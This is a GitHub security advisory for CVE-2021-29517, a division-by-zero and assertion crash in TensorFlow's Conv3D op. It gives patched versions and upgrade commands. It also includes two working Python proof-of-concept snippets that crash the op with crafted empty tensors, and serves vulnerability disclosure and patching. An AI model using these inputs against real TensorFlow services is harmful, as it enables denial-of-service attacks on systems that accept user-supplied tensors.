Advisory

GHSA-772p-x54p-hjrv

Also known as: BIT-tensorflow-2021-29517, CVE-2021-29517, PYSEC-2021-154, PYSEC-2021-445, PYSEC-2021-643

Summary

Division by zero in Conv3D

Details

Impact
A malicious user could trigger a division by 0 in Conv3D implementation:

import tensorflow as tf

input_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)
filter_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)

tf.raw_ops.Conv3D(input=input_tensor, filter=filter_tensor, strides=[1, 56, 56, 56, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 23, 1])

The implementation does a modulo operation based on user controlled input:

  const int64 out_depth = filter.dim_size(4);
  OP_REQUIRES(context, in_depth % filter_depth == 0, ...);

Thus, when filter has a 0 as the fifth element, this results in a division by 0.

Additionally, if the shape of the two tensors is not valid, an Eigen assertion can be triggered, resulting in a program crash:

import tensorflow as tf

input_tensor = tf.constant([], shape=[2, 2, 2, 2, 0], dtype=tf.float32)
filter_tensor = tf.constant([], shape=[0, 0, 2, 6, 2], dtype=tf.float32)

tf.raw_ops.Conv3D(input=input_tensor, filter=filter_tensor, strides=[1, 56, 39, 34, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])

The shape of the two tensors must follow the constraints specified in the op description.

Patches
We have patched the issue in GitHub commit 799f835a3dfa00a4d852defa29b15841eea9d64f.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Severity

Low Basis: The source's own band: LOW

Dates

Published
2021-05-21 14:21 UTC
Modified
2026-07-08 06:28 UTC

Affected packages and fixes

12 affected packages; all PyPI · All systems
PackageAffectedFix
tensorflowEarlier versionspip install --upgrade tensorflow==2.1.4
tensorflowintroduced 2.2.0, fixed 2.2.3pip install --upgrade tensorflow==2.2.3
tensorflowintroduced 2.3.0, fixed 2.3.3pip install --upgrade tensorflow==2.3.3
tensorflowintroduced 2.4.0, fixed 2.4.2pip install --upgrade tensorflow==2.4.2
tensorflow-cpuEarlier versionspip install --upgrade tensorflow-cpu==2.1.4
tensorflow-cpuintroduced 2.2.0, fixed 2.2.3pip install --upgrade tensorflow-cpu==2.2.3
tensorflow-cpuintroduced 2.3.0, fixed 2.3.3pip install --upgrade tensorflow-cpu==2.3.3
tensorflow-cpuintroduced 2.4.0, fixed 2.4.2pip install --upgrade tensorflow-cpu==2.4.2
tensorflow-gpuEarlier versionspip install --upgrade tensorflow-gpu==2.1.4
tensorflow-gpuintroduced 2.2.0, fixed 2.2.3pip install --upgrade tensorflow-gpu==2.2.3
tensorflow-gpuintroduced 2.3.0, fixed 2.3.3pip install --upgrade tensorflow-gpu==2.3.3
tensorflow-gpuintroduced 2.4.0, fixed 2.4.2pip install --upgrade tensorflow-gpu==2.4.2

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences